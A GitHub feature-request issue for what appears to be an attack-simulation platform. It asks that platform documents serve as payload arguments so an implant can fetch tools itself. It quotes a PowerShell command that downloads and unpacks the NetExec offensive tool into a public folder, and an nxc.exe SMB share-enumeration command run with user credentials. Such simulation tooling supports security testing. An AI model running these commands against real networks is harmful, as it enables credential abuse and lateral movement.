Skip to content

Being able to utilize documents as payloads arguments to avoid download pre-requisistes #3457

@SamuelHassine

Description

@SamuelHassine

Context

Being able to utilize documents as payloads arguments to avoid download pre-requisistes

As an example, today we have:

Pre-requisistes:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$zipUrl = "https://github.com/Pennyw0rth/NetExec/releases/download/v1.4.0/nxc-windows-latest.zip"; $tempZip = "c:\users\public\nxc-windows-latest.zip"; $tempDir = "c:\users\public\nxc-windows-latest"; $destPath = "c:\users\public\nxc-windows-latest\nxc.exe" ; Invoke-WebRequest -Uri $zipUrl -OutFile $tempZip; Expand-Archive -Path $tempZip -DestinationPath $tempDir -Force; Remove-Item -Path $tempZip -Force

Command:

C:\Users\Public\nxc-windows-latest\nxc.exe smb #{IP} -u #{user} -p #{password} -d #{domain} --shares

I want just to be able to invoke the command:

#{nsx} smb #{IP} -u #{user} -p #{password} -d #{domain} --shares

When #{nsx} is the path of nsx.exe automatically downloaded by the implant from a platform document.

Metadata

Metadata

Assignees

No one assigned

    Labels

    featureuse for describing a new feature to developneeds triageuse to identify issue needing triage from Filigran Product team

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions